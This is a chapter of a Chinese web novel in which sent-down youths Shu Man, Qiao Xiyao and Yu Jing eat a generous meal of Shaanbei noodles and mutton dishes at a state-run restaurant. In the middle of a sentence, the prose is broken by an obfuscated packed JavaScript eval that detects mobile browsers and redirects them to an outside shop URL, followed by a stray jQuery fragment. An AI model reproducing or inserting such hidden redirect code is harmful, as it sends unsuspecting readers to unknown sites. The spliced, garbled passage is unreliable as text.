刘晓梅走了以后,乔希瑶嗤笑一声道:“惯会装可怜的,真以为别人是傻子,听了她一些经历,就会分给她吃喝用的。”
舒曼听她说这话,总觉的怪怪的。
按她穿书过来对原著剧情的了解,乔希瑶虽然性子有些骄纵跋扈,但本性不坏,在刘晓梅有意无意在她面前哭穷,说自己吃不饱穿不暖后,她就十分热心肠的把对方当成自己的妹妹,吃穿用得什么都给对方留一份,可却没想到刘晓梅是个养不熟的白眼狼,一心只想着扒在她的身上,吸她的血,对她处处下狠手。
但舒曼穿过来以后,发现乔希瑶不再按照书中剧情那样发展,刘晓梅从下乡开始到现在,都没占到乔希瑶半点便宜,现在听到乔希瑶说得这话,舒曼心里觉得奇怪的同时,总觉得有什么东西,自己没抓住。
她没来得及细想,就听乔希瑶问:“曼曼姐,你想吃什么?咱们去柜台点菜。”
这年头的国营饭店,服务员可不会在餐桌前给顾客服务,顾客想吃什么,得自己去柜台点菜,点完自己去窗口端菜。
舒曼就起身,跟着她一起往柜台走。
挨着厨房的柜台后面的墙上,贴了一张手写的菜单,大红色的菜单已经脱色,又被油烟熏得微微发黄。
舒曼仰头一看,大部分都是面食,比如陕北特色的油泼面,一碗一毛五分钱,搭□□票,羊肉抿节(面条的一种),一碗要二毛二分钱,搭三两粮票......
另外一些菜肴,陕北特色羊肉烩菜,四毛五分钱一份,清水羊肉、羊杂、羊肉汤、煮羊蹄等等,则根据不同的部位,不同价格卖,通常都是五毛钱起步。
然后就是经典的红烧猪肉,六毛钱一份,炒鸡蛋四毛钱一份,清蒸鱼,一块三毛钱一条,羊灌肠六毛钱一份,牛肉九毛钱一份,荤素搭配的炒肉片三毛钱一份......肉菜都不用肉票。
而素菜,比如凉拌黄瓜两毛钱,洋芋擦擦一毛钱......都很便宜,汤类更便宜,比如最便宜的白菜素汤,只需要一分钱......
别看这国营饭店不大,菜得品种还挺多,不过大多来饭店吃饭的食客都是本地人,都以面食为主,点菜的较少,饭店每天供应的菜品就供得少,都是限购的,就怕放久了,放坏了浪费。
今天来饭店吃饭的知青挺多,他们来自天南地北,口味不一,都统一的点两个肉菜打打牙祭。
柜台前一个圆脸服务员,看舒曼跟乔希瑶看了半天菜单,都没说要吃什么,她不耐放地拿起柜台上的尺子,敲着柜台道:“要吃什么,赶紧点,今天特供的清蒸鱼、螃蟹都没有了,红烧狮子头还有两份,红烧肉剩下五份,木耳炒肉五份,什锦猪肚条三份......再不点,可都要卖光了。”
舒曼顾不上她不客气的态度,转头对乔希瑶道:“我要一份油泼面算了。”
其实她想试试当地的羊肉和其他特色菜,又想着乔希瑶请客,她作为客人,哪能吃那些贵的食物。
这年代大家都不容易,尤其乔希瑶又跟她一样是知青,手里有钱那也是人家父母给的,她哪能占人家便宜,狮子大开口尽点好肉好菜,思来想去,吃碗这边特色的油泼面子就行了。
“曼曼姐,你就别跟我客气了,我说了要请你客,不是说说而已,你光点一碗面,哪能行。”
乔希瑶看出了她的想法,指着菜单对服务员说:“同志,劳烦你给我们点一份红烧肉,一份灌羊肠,一碗羊杂汤,一斤清水羊排,另外还要一份洋芋擦擦,一份清炒油麦菜,再来四两米饭。”
“这么多菜,你们俩吃得完吗?”服务员眼神不善地盯着她和舒曼那纤瘦的身子,“浪费粮食是可耻的!”
这年头的饭菜份量那都是实打实的,没有花里胡哨的摆盘和弄虚作假,基本都是大碗装的,服务员是真担心她们吃不完。
乔希瑶麻溜地从自己包里掏出钱票,递给她道:“我们有三个人呢,这些饭菜,我们能吃完。”
她把余静也算了进去。
余静跟着她们走过来,本来要点碗面吃,听到她的话,先是一愣,随即说:“乔知青,你少点一些菜,不用管我,我自己有钱票。”
乔希瑶道:“我看你挺合眼缘,老知青有些人在说我坏话,你不但没跟她们同流合污一起骂我,还替我说好话。我就喜欢你这种能辩是非的人,今天这顿饭,我主要是请曼曼姐,顺便借花献佛,想跟你多多认识,你要嫌弃我的话,也不用勉强。”
她话都说到这份上了,余静要再推脱,倒显得她太过孤傲。
余静就把自己拿出来的钱票放回包里,无可奈何道:“今天让你破费了。”
“嗐,这算啥。”
这么多饭菜,加起来才花四块多,乔希瑶觉得相当划算。
她请客的目的,主要是拉拢舒曼,但能顺带结识余静,她也觉得挺好的。
毕竟多个朋友多条路,新老知青点不少女知青都看她不顺眼,难得有一个明事理的人,她不得拉拢过来做做朋友,以后遇着事儿,也多一个人帮她说话。
等饭菜一样样做好,她跟舒曼、余静两人,把菜一碗碗一盘盘一盆盆地,端回饭厅右侧圆桌角落的位置去,引来不少人的目光。
她和舒曼长得太过艳丽,跟周围灰扑扑的一众知青,成为鲜明的对比,众人想不看他们都难。
乔希瑶不喜欢那些人打量她们的目光,冷着一张娇俏的脸,一一瞪回去。
那些不停打量她们的男知青,都讪讪地收回目光继续吃饭,歇了跟她们搭话的心思。
当菜肴都放在桌上,跟她们同桌的几个男知青,眼睛都看圆了。
实在是那些菜肴份量都很足,而且有好几个荤菜,很难相信她们三个女同志能吃完。
余静入座后,把从柜台拿得筷子,一一分发给乔希瑶两人道:“这么多饭菜,我们能吃完吗?”
“能啊,我胃口大着呢,这些天忙秋收,累得我要死不活的,我现在饿得都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13913277|143745||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能吃下一头牛。”乔希瑶率先夹一筷子油泼面到自己的碗里道:“就算吃不完,我们也可以打包。”
她今早来之前,特意背了一个饭盒在自己的布包,就想着来县城以后,买些好吃的肉菜放在饭盒里,等回到村子以后,还能拿出来打打牙祭。
从昨天开始,村里忙完秋收给知青点发了粮食,她和舒曼就跟沈梦雪一帮人分开开火了。
现在她们能自己开小灶,她想吃什么就吃什么,完全不用顾及沈梦雪他们,也不用担心她们占自己便宜。
余静看她这么一说,微微笑了笑,没再说什么。
倒是舒曼睁大了眼睛,看着乔希瑶从她点的那碗油泼面碗里,夹了一筷又一筷子的面条,没有停歇的意思,急忙用双手覆盖着自己的碗,瞪着她道:“你这丫头,说请我客呢,怎么一直吃我点的油泼面,你要想吃油泼面,刚才怎么不自己点一碗。”
“这不是自己点的不香,你点的就总觉得香得不得了嘛。”乔希瑶笑着故意作势又要往她碗里夹,“哎呀,谁叫你人美心善,浑身香喷喷的,连带着你吃得用得喝得,我都觉得是最好的,可不就吃你的。”
舒曼被她哄得噗嗤一笑,松开双手道:“就你嘴贫,吃吧吃吧,给我留一口就行,今天你可是东家。”
乔希瑶嘻嘻一笑,又夹一筷子面到余静碗里,招呼着她:“余知青,吃吧,别客气,这陕北的油泼面,还有我点的那些菜,可好吃了。”
陕北油泼面,是厨师现揉现拉得一指多宽的手工面,那面用是用当地上好的富强面粉揉做的。
面条揉拉成薄厚均匀的模样,扔进滚烫的面水锅里,煮熟捞进大碗里,将绿油油的葱花、花椒粉、盐、一大勺辣椒面平铺在面上。
再淋上一勺烧得滚烫的菜籽油,在滋啦油声响中,辣椒面等作料被沸腾的热油烫熟,满碗红光,而后在加入一些酱油、香醋,一些青椒土豆丝,稍微那么一搅拌,闻着就叫人流口水。
夹一筷子红彤彤的面条进嘴里吃,面条劲道爽滑,辣椒作料喷香,带着土豆丝的脆爽感,吃下去那叫一个美。
余静平时不太能吃辣,下乡这么多年来也没吃过油泼面,这一筷子油泼面吃下去,辣得她满脸通红,呛得她不停咳嗽。
她却又停不住嘴,边吃边感叹:“太好吃了,我以前没吃过油泼面条,觉得它就跟其他省市的面条一样,就是普普通通的白面味儿,没想到这么好吃。”
乔希瑶看她辣的嘴都红了,连忙给她舀了一小碗汤白鲜美的羊肉汤,递给她喝,“陕北地区人民以面食为主,黄土地区天气干燥,种植出来的小麦研磨出来的面粉,特别的香,有着其他地区无法比拟的特殊小麦香味,这样的面粉,做什么面食都好吃,陕北人民都是做面食的好手,我很肯定的说,油泼面比很多省市的地区做得面都好吃。”
舒曼赞同的点点头:“我也觉得,哎?你们可别再夹了,再好吃也得给我留点,你们再夹,我就没得吃了。”